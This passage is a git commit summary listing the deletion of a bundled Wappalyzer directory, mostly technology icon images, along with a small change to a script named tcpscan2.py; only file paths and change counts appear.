Wappalyzer/share/images/icons/Perl.png | Bin 2241 -> 0 bytes Wappalyzer/share/images/icons/Petrojs.png | Bin 3206 -> 0 bytes Wappalyzer/share/images/icons/Phaser.png | Bin 329 -> 0 bytes Wappalyzer/share/images/icons/Piano Solo.png | Bin 1684 -> 0 bytes Wappalyzer/share/images/icons/Piwik.png | Bin 310 -> 0 bytes Wappalyzer/share/images/icons/Planet.png | Bin 628 -> 0 bytes .../share/images/icons/Plentymarkets.png | Bin 193 -> 0 bytes Wappalyzer/share/images/icons/Plesk.png | Bin 724 -> 0 bytes Wappalyzer/share/images/icons/Pligg.png | Bin 438 -> 0 bytes Wappalyzer/share/images/icons/Plone.png | Bin 188 -> 0 bytes Wappalyzer/share/images/icons/Plura.png | Bin 602 -> 0 bytes Wappalyzer/share/images/icons/Po.st.png | Bin 653 -> 0 bytes Wappalyzer/share/images/icons/Polymer.png | Bin 1516 -> 0 bytes Wappalyzer/share/images/icons/Posterous.png | Bin 260 -> 0 bytes Wappalyzer/share/images/icons/Powergap.png | Bin 668 -> 0 bytes Wappalyzer/share/images/icons/Prefix-Free.png | Bin 489 -> 0 bytes Wappalyzer/share/images/icons/Prestashop.png | Bin 1083 -> 0 bytes .../share/images/icons/Project Wonderful.png | Bin 1894 -> 0 bytes Wappalyzer/share/images/icons/Prototype.png | Bin 536 -> 0 bytes Wappalyzer/share/images/icons/Protovis.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Pure CSS.png | Bin 459 -> 0 bytes Wappalyzer/share/images/icons/Python.png | Bin 755 -> 0 bytes Wappalyzer/share/images/icons/Quantcast.png | Bin 660 -> 0 bytes Wappalyzer/share/images/icons/Quick.CMS.png | Bin 250 -> 0 bytes Wappalyzer/share/images/icons/Quick.Cart.png | Bin 250 -> 0 bytes .../share/images/icons/RAID HTTPServer.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/RBS Change.png | Bin 343 -> 0 bytes Wappalyzer/share/images/icons/RCMS.png | Bin 439 -> 0 bytes Wappalyzer/share/images/icons/RDoc.png | Bin 408 -> 0 bytes Wappalyzer/share/images/icons/RackCache.png | Bin 204 -> 0 bytes Wappalyzer/share/images/icons/Raphael.png | Bin 1105 -> 0 bytes Wappalyzer/share/images/icons/Rapid Logic.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/React.png | Bin 561 -> 0 bytes Wappalyzer/share/images/icons/ReallyCMS.png | Bin 781 -> 0 bytes Wappalyzer/share/images/icons/Red Hat.png | Bin 1440 -> 0 bytes Wappalyzer/share/images/icons/Reddit.png | Bin 1282 -> 0 bytes Wappalyzer/share/images/icons/Redmine.png | Bin 687 -> 0 bytes .../share/images/icons/Reinvigorate.png | Bin 707 -> 0 bytes Wappalyzer/share/images/icons/RequireJS.png | Bin 345 -> 0 bytes Wappalyzer/share/images/icons/Reveal.js.png | Bin 108 -> 0 bytes Wappalyzer/share/images/icons/RiteCMS.png | Bin 245 -> 0 bytes Wappalyzer/share/images/icons/RoundCube.png | Bin 2108 -> 0 bytes .../share/images/icons/Ruby on Rails.png | Bin 1054 -> 0 bytes Wappalyzer/share/images/icons/Ruby.png | Bin 2280 -> 0 bytes Wappalyzer/share/images/icons/S.Builder.png | Bin 204 -> 0 bytes Wappalyzer/share/images/icons/SAP.png | Bin 348 -> 0 bytes Wappalyzer/share/images/icons/SDL Tridion.png | Bin 625 -> 0 bytes Wappalyzer/share/images/icons/SIMsite.png | Bin 1789 -> 0 bytes Wappalyzer/share/images/icons/SMF.png | Bin 255 -> 0 bytes Wappalyzer/share/images/icons/SOBI 2.png | Bin 149 -> 0 bytes Wappalyzer/share/images/icons/SPDY.png | Bin 677 -> 0 bytes Wappalyzer/share/images/icons/SPIP.png | Bin 1616 -> 0 bytes Wappalyzer/share/images/icons/SQL Buddy.png | Bin 239 -> 0 bytes Wappalyzer/share/images/icons/SQLite.png | Bin 627 -> 0 bytes Wappalyzer/share/images/icons/SUSE.png | Bin 398 -> 0 bytes Wappalyzer/share/images/icons/SWFObject.png | Bin 745 -> 0 bytes Wappalyzer/share/images/icons/Saia PCD.png | Bin 336 -> 0 bytes Wappalyzer/share/images/icons/Sarka-SPIP.png | Bin 2106 -> 0 bytes Wappalyzer/share/images/icons/Scala.png | Bin 1012 -> 0 bytes .../images/icons/Schneider Web Server.png | Bin 1473 -> 0 bytes Wappalyzer/share/images/icons/Schneider.png | Bin 1473 -> 0 bytes .../share/images/icons/Scientific Linux.png | Bin 171 -> 0 bytes .../share/images/icons/Sencha Touch.png | Bin 480 -> 0 bytes .../images/icons/Sentinel Keys Server.png | Bin 85 -> 0 bytes .../images/icons/Sentinel License Monitor.png | Bin 85 -> 0 bytes .../icons/Sentinel Protection Server.png | Bin 85 -> 0 bytes Wappalyzer/share/images/icons/Seoshop.png | Bin 772 -> 0 bytes Wappalyzer/share/images/icons/Serendipity.png | Bin 757 -> 0 bytes Wappalyzer/share/images/icons/Shadow.png | Bin 912 -> 0 bytes Wappalyzer/share/images/icons/ShareThis.png | Bin 667 -> 0 bytes Wappalyzer/share/images/icons/ShinyStat.png | Bin 222 -> 0 bytes Wappalyzer/share/images/icons/Shopalize.png | Bin 711 -> 0 bytes Wappalyzer/share/images/icons/Shopatron.png | Bin 299 -> 0 bytes Wappalyzer/share/images/icons/Shopify.png | Bin 2054 -> 0 bytes Wappalyzer/share/images/icons/Shopware.png | Bin 601 -> 0 bytes Wappalyzer/share/images/icons/Silva.png | Bin 724 -> 0 bytes .../share/images/icons/SilverStripe.png | Bin 168 -> 0 bytes Wappalyzer/share/images/icons/SimpleHTTP.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Site Meter.png | Bin 382 -> 0 bytes .../share/images/icons/SiteCatalyst.png | Bin 623 -> 0 bytes Wappalyzer/share/images/icons/SiteDNK.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/SiteEdit.png | Bin 254 -> 0 bytes Wappalyzer/share/images/icons/Sitecore.png | Bin 493 -> 0 bytes .../share/images/icons/Sivuviidakko.png | Bin 1658 -> 0 bytes Wappalyzer/share/images/icons/Sizmek.png | Bin 642 -> 0 bytes Wappalyzer/share/images/icons/Skimlinks.png | Bin 635 -> 0 bytes Wappalyzer/share/images/icons/Slimbox 2.png | Bin 1309 -> 0 bytes Wappalyzer/share/images/icons/Slimbox.png | Bin 1309 -> 0 bytes .../share/images/icons/Smart Ad Server.png | Bin 163 -> 0 bytes Wappalyzer/share/images/icons/SmartSite.png | Bin 412 -> 0 bytes Wappalyzer/share/images/icons/Smartstore.png | Bin 284 -> 0 bytes Wappalyzer/share/images/icons/Snap.svg.png | Bin 689 -> 0 bytes Wappalyzer/share/images/icons/Snoobi.png | Bin 416 -> 0 bytes Wappalyzer/share/images/icons/SobiPro.png | Bin 190 -> 0 bytes Wappalyzer/share/images/icons/Socket.io.png | Bin 1628 -> 0 bytes Wappalyzer/share/images/icons/Solodev.png | Bin 252 -> 0 bytes .../share/images/icons/SoundManager.png | Bin 537 -> 0 bytes Wappalyzer/share/images/icons/Sphinx.png | Bin 590 -> 0 bytes .../images/icons/SpiderControl iniNet.png | Bin 652 -> 0 bytes Wappalyzer/share/images/icons/Splunk.png | Bin 419 -> 0 bytes Wappalyzer/share/images/icons/Splunkd.png | Bin 419 -> 0 bytes Wappalyzer/share/images/icons/Spree.png | Bin 431 -> 0 bytes Wappalyzer/share/images/icons/Squarespace.png | Bin 2098 -> 0 bytes .../share/images/icons/Squiz Matrix.png | Bin 699 -> 0 bytes Wappalyzer/share/images/icons/Starlet.png | Bin 2241 -> 0 bytes Wappalyzer/share/images/icons/StatCounter.png | Bin 575 -> 0 bytes .../share/images/icons/Store Systems.png | Bin 558 -> 0 bytes Wappalyzer/share/images/icons/Stripe.png | Bin 737 -> 0 bytes .../share/images/icons/SublimeVideo.png | Bin 802 -> 0 bytes Wappalyzer/share/images/icons/Subrion.png | Bin 906 -> 0 bytes Wappalyzer/share/images/icons/SunOS.png | Bin 873 -> 0 bytes Wappalyzer/share/images/icons/Supersized.png | Bin 292 -> 0 bytes Wappalyzer/share/images/icons/Swiftlet.png | Bin 1187 -> 0 bytes .../images/icons/Synology DiskStation.png | Bin 922 -> 0 bytes Wappalyzer/share/images/icons/TWiki.png | Bin 317 -> 0 bytes Wappalyzer/share/images/icons/TYPO3 CMS.png | Bin 941 -> 0 bytes Wappalyzer/share/images/icons/TYPO3 Flow.png | Bin 941 -> 0 bytes Wappalyzer/share/images/icons/TYPO3 Neos.png | Bin 941 -> 0 bytes Wappalyzer/share/images/icons/TYPOlight.png | Bin 702 -> 0 bytes Wappalyzer/share/images/icons/Tealeaf.png | Bin 367 -> 0 bytes Wappalyzer/share/images/icons/TeamCity.png | Bin 528 -> 0 bytes Wappalyzer/share/images/icons/Tengine.png | Bin 1914 -> 0 bytes .../share/images/icons/Textpattern CMS.png | Bin 1768 -> 0 bytes Wappalyzer/share/images/icons/TiddlyWiki.png | Bin 843 -> 0 bytes .../images/icons/Tiki Wiki CMS Groupware.png | Bin 694 -> 0 bytes Wappalyzer/share/images/icons/Timeline.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Timeplot.png | Bin 724 -> 0 bytes Wappalyzer/share/images/icons/TinyMCE.png | Bin 267 -> 0 bytes Wappalyzer/share/images/icons/Titan.png | Bin 152 -> 0 bytes Wappalyzer/share/images/icons/TomatoCart.png | Bin 196 -> 0 bytes .../share/images/icons/TornadoServer.png | Bin 809 -> 0 bytes Wappalyzer/share/images/icons/Trac.png | Bin 1815 -> 0 bytes Wappalyzer/share/images/icons/TrackJs.png | Bin 3728 -> 0 bytes Wappalyzer/share/images/icons/Tumblr.png | Bin 456 -> 0 bytes .../share/images/icons/Twilight CMS.png | Bin 426 -> 0 bytes Wappalyzer/share/images/icons/TwistPHP.png | Bin 1722 -> 0 bytes Wappalyzer/share/images/icons/TwistedWeb.png | Bin 395 -> 0 bytes .../share/images/icons/Twitter Bootstrap.png | Bin 1427 -> 0 bytes Wappalyzer/share/images/icons/TypePad.png | Bin 629 -> 0 bytes Wappalyzer/share/images/icons/Typekit.png | Bin 896 -> 0 bytes Wappalyzer/share/images/icons/UIKit.png | Bin 393 -> 0 bytes Wappalyzer/share/images/icons/UNIX.png | Bin 1599 -> 0 bytes Wappalyzer/share/images/icons/Ubercart.png | Bin 826 -> 0 bytes Wappalyzer/share/images/icons/Ubuntu.png | Bin 951 -> 0 bytes Wappalyzer/share/images/icons/UltraCart.png | Bin 2545 -> 0 bytes Wappalyzer/share/images/icons/Umbraco.png | Bin 671 -> 0 bytes .../share/images/icons/Underscore.js.png | Bin 110 -> 0 bytes Wappalyzer/share/images/icons/UserRules.png | Bin 831 -> 0 bytes Wappalyzer/share/images/icons/UserVoice.png | Bin 589 -> 0 bytes Wappalyzer/share/images/icons/Ushahidi.png | Bin 2760 -> 0 bytes Wappalyzer/share/images/icons/VIVVO.png | Bin 218 -> 0 bytes Wappalyzer/share/images/icons/VP-ASP.png | Bin 248 -> 0 bytes Wappalyzer/share/images/icons/Vanilla.png | Bin 1948 -> 0 bytes Wappalyzer/share/images/icons/Varnish.png | Bin 325 -> 0 bytes Wappalyzer/share/images/icons/Veoxa.png | Bin 1462 -> 0 bytes Wappalyzer/share/images/icons/VideoJS.png | Bin 311 -> 0 bytes Wappalyzer/share/images/icons/VigLink.png | Bin 1179 -> 0 bytes Wappalyzer/share/images/icons/Vignette.png | Bin 393 -> 0 bytes Wappalyzer/share/images/icons/Vimeo.png | Bin 634 -> 0 bytes .../share/images/icons/Virata EmWeb.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/VirtueMart.png | Bin 1878 -> 0 bytes .../share/images/icons/Visual WebGUI.png | Bin 1486 -> 0 bytes Wappalyzer/share/images/icons/VisualPath.png | Bin 557 -> 0 bytes Wappalyzer/share/images/icons/Volusion.png | Bin 334 -> 0 bytes Wappalyzer/share/images/icons/Vox.png | Bin 171 -> 0 bytes Wappalyzer/share/images/icons/Vue.js.png | Bin 594 -> 0 bytes .../share/images/icons/W3 Total Cache.png | Bin 508 -> 0 bytes Wappalyzer/share/images/icons/W3Counter.png | Bin 1693 -> 0 bytes Wappalyzer/share/images/icons/WP Rocket.png | Bin 694 -> 0 bytes .../share/images/icons/Web Optimizer.png | Bin 520 -> 0 bytes Wappalyzer/share/images/icons/Web2py.png | Bin 133 -> 0 bytes Wappalyzer/share/images/icons/WebGUI.png | Bin 1973 -> 0 bytes .../share/images/icons/WebPublisher.png | Bin 340 -> 0 bytes Wappalyzer/share/images/icons/Webix.png | Bin 1926 -> 0 bytes Wappalyzer/share/images/icons/WebsPlanet.png | Bin 369 -> 0 bytes Wappalyzer/share/images/icons/Websale.png | Bin 531 -> 0 bytes .../share/images/icons/WebsiteBaker.png | Bin 603 -> 0 bytes Wappalyzer/share/images/icons/Webtrekk.png | Bin 337 -> 0 bytes Wappalyzer/share/images/icons/Webtrends.png | Bin 849 -> 0 bytes Wappalyzer/share/images/icons/Weebly.png | Bin 350 -> 0 bytes Wappalyzer/share/images/icons/WikkaWiki.png | Bin 667 -> 0 bytes Wappalyzer/share/images/icons/Windows CE.png | Bin 157 -> 0 bytes .../share/images/icons/Windows Server.png | Bin 157 -> 0 bytes Wappalyzer/share/images/icons/Wink.png | Bin 436 -> 0 bytes .../icons/Winstone Servlet Container.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Wix.png | Bin 587 -> 0 bytes Wappalyzer/share/images/icons/Wolf CMS.png | Bin 231 -> 0 bytes Wappalyzer/share/images/icons/WooCommerce.png | Bin 940 -> 0 bytes Wappalyzer/share/images/icons/Woopra.png | Bin 2465 -> 0 bytes .../images/icons/WordPress Super Cache.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/WordPress.png | Bin 2153 -> 0 bytes .../share/images/icons/Wowza Media Server.png | Bin 512 -> 0 bytes Wappalyzer/share/images/icons/X-Cart.png | Bin 1254 -> 0 bytes Wappalyzer/share/images/icons/XAMPP.png | Bin 1929 -> 0 bytes Wappalyzer/share/images/icons/XMB.png | Bin 697 -> 0 bytes Wappalyzer/share/images/icons/XOOPS.png | Bin 615 -> 0 bytes Wappalyzer/share/images/icons/XRegExp.png | Bin 302 -> 0 bytes Wappalyzer/share/images/icons/Xajax.png | Bin 893 -> 0 bytes Wappalyzer/share/images/icons/Xanario.png | Bin 465 -> 0 bytes Wappalyzer/share/images/icons/XenForo.png | Bin 290 -> 0 bytes Wappalyzer/share/images/icons/XiTi.png | Bin 621 -> 0 bytes Wappalyzer/share/images/icons/Xitami.png | Bin 175 -> 0 bytes Wappalyzer/share/images/icons/YUI Doc.png | Bin 1737 -> 0 bytes Wappalyzer/share/images/icons/YUI.png | Bin 1287 -> 0 bytes Wappalyzer/share/images/icons/YaBB.png | Bin 357 -> 0 bytes .../share/images/icons/Yahoo Advertising.png | Bin 1737 -> 0 bytes .../share/images/icons/Yahoo! Ecommerce.png | Bin 1737 -> 0 bytes .../images/icons/Yahoo! Web Analytics.png | Bin 1737 -> 0 bytes .../share/images/icons/Yandex.Direct.png | Bin 2031 -> 0 bytes .../share/images/icons/Yandex.Metrika.png | Bin 1113 -> 0 bytes Wappalyzer/share/images/icons/Yieldlab.png | Bin 1823 -> 0 bytes Wappalyzer/share/images/icons/Yii.png | Bin 729 -> 0 bytes Wappalyzer/share/images/icons/YouTube.png | Bin 570 -> 0 bytes Wappalyzer/share/images/icons/ZK.png | Bin 398 -> 0 bytes .../share/images/icons/ZURB Foundation.png | Bin 833 -> 0 bytes Wappalyzer/share/images/icons/Zabbix.png | Bin 125 -> 0 bytes Wappalyzer/share/images/icons/Zanox.png | Bin 789 -> 0 bytes Wappalyzer/share/images/icons/Zen Cart.png | Bin 938 -> 0 bytes Wappalyzer/share/images/icons/Zend.png | Bin 1119 -> 0 bytes Wappalyzer/share/images/icons/Zepto.png | Bin 2358 -> 0 bytes Wappalyzer/share/images/icons/Zeuscart.png | Bin 1051 -> 0 bytes Wappalyzer/share/images/icons/Zinnia.png | Bin 848 -> 0 bytes Wappalyzer/share/images/icons/Zope.png | Bin 574 -> 0 bytes Wappalyzer/share/images/icons/amCharts.png | Bin 117 -> 0 bytes Wappalyzer/share/images/icons/basket.js.png | Bin 749 -> 0 bytes Wappalyzer/share/images/icons/cPanel.png | Bin 539 -> 0 bytes Wappalyzer/share/images/icons/cgit.png | Bin 115 -> 0 bytes Wappalyzer/share/images/icons/comScore.png | Bin 1429 -> 0 bytes Wappalyzer/share/images/icons/debut.png | Bin 210 -> 0 bytes Wappalyzer/share/images/icons/default.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/dwhttpd.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/e107.png | Bin 574 -> 0 bytes .../share/images/icons/eDevice SmartStack.png | Bin 569 -> 0 bytes Wappalyzer/share/images/icons/eHTTP.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/eSyndiCat.png | Bin 724 -> 0 bytes Wappalyzer/share/images/icons/eZ Publish.png | Bin 134 -> 0 bytes Wappalyzer/share/images/icons/flask.png | Bin 2027 -> 0 bytes Wappalyzer/share/images/icons/git.png | Bin 602 -> 0 bytes Wappalyzer/share/images/icons/gitweb.png | Bin 602 -> 0 bytes Wappalyzer/share/images/icons/gunicorn.png | Bin 1651 -> 0 bytes Wappalyzer/share/images/icons/iCongo.png | Bin 906 -> 0 bytes Wappalyzer/share/images/icons/iWeb.png | Bin 219 -> 0 bytes Wappalyzer/share/images/icons/io4-CMS.png | Bin 445 -> 0 bytes Wappalyzer/share/images/icons/jQTouch.png | Bin 884 -> 0 bytes .../share/images/icons/jQuery Mobile.png | Bin 1418 -> 0 bytes .../share/images/icons/jQuery Sparklines.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/jQuery UI.png | Bin 727 -> 0 bytes Wappalyzer/share/images/icons/jQuery.png | Bin 1418 -> 0 bytes Wappalyzer/share/images/icons/jqPlot.png | Bin 592 -> 0 bytes .../share/images/icons/libwww-perl-daemon.png | Bin 2241 -> 0 bytes Wappalyzer/share/images/icons/lighttpd.png | Bin 949 -> 0 bytes Wappalyzer/share/images/icons/math.js.png | Bin 346 -> 0 bytes Wappalyzer/share/images/icons/mini_httpd.png | Bin 124 -> 0 bytes .../share/images/icons/mod_auth_pam.png | Bin 1331 -> 0 bytes Wappalyzer/share/images/icons/mod_fastcgi.png | Bin 1331 -> 0 bytes Wappalyzer/share/images/icons/mod_jk.png | Bin 1331 -> 0 bytes Wappalyzer/share/images/icons/mod_perl.png | Bin 372 -> 0 bytes Wappalyzer/share/images/icons/mod_python.png | Bin 607 -> 0 bytes Wappalyzer/share/images/icons/mod_rack.png | Bin 1922 -> 0 bytes Wappalyzer/share/images/icons/mod_rails.png | Bin 1922 -> 0 bytes Wappalyzer/share/images/icons/mod_ssl.png | Bin 488 -> 0 bytes Wappalyzer/share/images/icons/mod_wsgi.png | Bin 199 -> 0 bytes Wappalyzer/share/images/icons/node.js.png | Bin 1044 -> 0 bytes Wappalyzer/share/images/icons/nopCommerce.png | Bin 736 -> 0 bytes Wappalyzer/share/images/icons/openEngine.png | Bin 273 -> 0 bytes Wappalyzer/share/images/icons/osCSS.png | Bin 750 -> 0 bytes Wappalyzer/share/images/icons/osCommerce.png | Bin 1647 -> 0 bytes Wappalyzer/share/images/icons/ownCloud.png | Bin 799 -> 0 bytes Wappalyzer/share/images/icons/papaya CMS.png | Bin 391 -> 0 bytes Wappalyzer/share/images/icons/phpAlbum.png | Bin 443 -> 0 bytes Wappalyzer/share/images/icons/phpBB.png | Bin 1240 -> 0 bytes Wappalyzer/share/images/icons/phpCMS.png | Bin 425 -> 0 bytes .../share/images/icons/phpDocumentor.png | Bin 367 -> 0 bytes Wappalyzer/share/images/icons/phpMyAdmin.png | Bin 468 -> 0 bytes Wappalyzer/share/images/icons/phpPgAdmin.png | Bin 237 -> 0 bytes .../share/images/icons/phpSQLiteCMS.png | Bin 359 -> 0 bytes Wappalyzer/share/images/icons/phpwind.png | Bin 467 -> 0 bytes Wappalyzer/share/images/icons/prettyPhoto.png | Bin 139 -> 0 bytes Wappalyzer/share/images/icons/punBB.png | Bin 295 -> 0 bytes Wappalyzer/share/images/icons/reCAPTCHA.png | Bin 607 -> 0 bytes Wappalyzer/share/images/icons/sIFR.png | Bin 111 -> 0 bytes Wappalyzer/share/images/icons/sNews.png | Bin 270 -> 0 bytes .../share/images/icons/script.aculo.us.png | Bin 542 -> 0 bytes Wappalyzer/share/images/icons/spin.js.png | Bin 1295 -> 0 bytes .../share/images/icons/swift.engine.png | Bin 130 -> 0 bytes Wappalyzer/share/images/icons/three.js.png | Bin 275 -> 0 bytes Wappalyzer/share/images/icons/thttpd.png | Bin 124 -> 0 bytes Wappalyzer/share/images/icons/total.js.png | Bin 176 -> 0 bytes Wappalyzer/share/images/icons/uCore.png | Bin 779 -> 0 bytes Wappalyzer/share/images/icons/vBulletin.png | Bin 1808 -> 0 bytes Wappalyzer/share/images/icons/viennaCMS.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/webEdition.png | Bin 418 -> 0 bytes Wappalyzer/share/images/icons/xCharts.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/xtCommerce.png | Bin 1092 -> 0 bytes Wappalyzer/share/images/icons/xui.png | Bin 600 -> 0 bytes Wappalyzer/share/images/icons/yepnope.js.png | Bin 1330 -> 0 bytes Wappalyzer/share/js/wappalyzer.js | 531 --- tcpscan2.py | 2 +- 3694 files changed, 1 insertion(+), 25898 deletions(-) delete mode 100644 Wappalyzer/.gitattributes delete mode 100644 Wappalyzer/.gitignore delete mode 100644 Wappalyzer/LICENSE delete mode 100644 Wappalyzer/README.md delete mode 100644 Wappalyzer/drivers/bookmarklet/css/wappalyzer.css delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/1C-Bitrix.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/1und1.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/2z Project.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/3DM.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/3dCart.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/3ware.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AMPcms.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AOLserver.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AT Internet Analyzer.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AT Internet XiTi.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/ATEN.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/ATG Web Commerce.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AWStats.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Accessible Portal.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AdInfinity.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AdRiver.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AdRoll.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Adcash.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AddShoppers.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AddThis.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Adobe CQ5.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Adobe ColdFusion.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Adobe GoLive.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Adobe Muse.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Adobe RoboHelp.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Advanced Web Stats.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Advert Stream.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Adzerk.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Airee.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Akamai.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Algolia Realtime Search.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Allegro RomPager.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Alloy.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AlloyUI.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Amaya.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Ametys.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Amiro.CMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Anchor CMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AngularJS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Apache HBase.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Apache Hadoop.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Apache JSPWiki.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Apache Tomcat.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Apache Traffic Server.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Apache Wicket.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Apache.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AppNexus.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Arc Forum.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Artifactory Web Server.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Artifactory.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/AsciiDoc.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Bitbucket.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Confluence.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Atlassian FishEye.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira Issue Collector.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Avangate.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/BIGACE.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Backbone.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Banshee.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/BaseHTTP.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/BigDump.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Bigcommerce.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Bigware.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/BittAds.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Blip.tv.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Blogger.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/BlueKai.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Bluefish.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Boa.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Bolt.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Bonfire.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Brother.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/BrowserCMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/BugSense.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/BugSnag.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Bugzilla.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Burning Board.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Business Catalyst.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/BuySellAds.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/C++.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CFML.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CKEditor.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CMS Made Simple.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CMSimple.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CO2Stats.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CPG Dragonfly.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CS Cart.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CacheFly.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CakePHP.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Canon HTTP Server.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Canon.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Carbon Ads.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Cargo.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Catwalk.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CentOS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/CenteHTTPd.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Chameleon.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Chamilo.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Chartbeat.png delete mode 